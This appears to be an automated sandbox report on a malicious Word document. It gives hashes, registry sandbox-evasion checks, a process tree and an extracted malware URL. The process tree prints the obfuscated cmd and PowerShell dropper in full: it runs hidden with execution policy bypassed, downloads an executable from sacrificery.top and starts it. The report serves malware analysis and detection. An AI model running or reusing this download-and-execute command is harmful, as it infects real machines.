Analysis
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max time kernel
30s -
max time network
35s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
27/03/2024, 14:23
Behavioral task
behavioral1
Sample
bcbe3da40fb46c6ae214a3e2b07ffeea422c9e8a937ed3caab5ac36cc0b61ba5.doc
Resource
win10v2004-20240226-en
General
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Target
bcbe3da40fb46c6ae214a3e2b07ffeea422c9e8a937ed3caab5ac36cc0b61ba5.doc
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Size
78KB
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MD5
cfaead6efec6ed5d50bd6033a1cc6442
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SHA1
8781ab346ba00f55b633e4a4b957f94ec0680353
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SHA256
bcbe3da40fb46c6ae214a3e2b07ffeea422c9e8a937ed3caab5ac36cc0b61ba5
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SHA512
38d265aad825fccbef02a3b3a5426aeaf1a3665e50e8019cbb76e81f1f5b6096056819b1771ebd1b94e38b7e0762b0fc0adf22485327e9ad61e2b937783fd1f8
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SSDEEP
1536:zJc5C7U9KCP6pBQGsHHSXfSLHbxCxIpCL2M:zJc51syUQdHyXAbxCxLL2
Malware Config
Extracted
http://sacrificery.top/ll/ldd.php
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 4592 4064 cmd.exe 87 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 4064 WINWORD.EXE 4064 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 3020 powershell.exe 3020 powershell.exe 3020 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3020 powershell.exe -
Suspicious use of SetWindowsHookEx 8 IoCs
pid Process 4064 WINWORD.EXE 4064 WINWORD.EXE 4064 WINWORD.EXE 4064 WINWORD.EXE 4064 WINWORD.EXE 4064 WINWORD.EXE 4064 WINWORD.EXE 4064 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4064 wrote to memory of 4592 4064 WINWORD.EXE 92 PID 4064 wrote to memory of 4592 4064 WINWORD.EXE 92 PID 4592 wrote to memory of 3020 4592 cmd.exe 94 PID 4592 wrote to memory of 3020 4592 cmd.exe 94
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\bcbe3da40fb46c6ae214a3e2b07ffeea422c9e8a937ed3caab5ac36cc0b61ba5.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4064 -
C:\Windows\SYSTEM32\cmd.execmd.exe /k ^powe^rsh^ell -E^x^ecuti^onPo^licy by^pass -n^oprofi^le -wi^nd^ows^tyle hi^dden $wc = New-Object System^.Net.Webclient;$wc.Hea^ders.Ad^d('Us^er-Ag^ent','Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)');$wc.Do^wnlo^adFi^le('ht^tp://sacrificery.top/ll/ldd.php','%TEMP%.e^xe') & IF EXIST %TEMP%.e^xe ( s^ta^rt %TEMP%.e^xe) & exit2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4592 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy bypass -noprofile -windowstyle hidden $wc = New-Object System.Net.Webclient;$wc.Headers.Add('User-Agent','Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)');$wc.DownloadFile('http://sacrificery.top/ll/ldd.php','C:\Users\Admin\AppData\Local\Temp.exe')3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3020
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82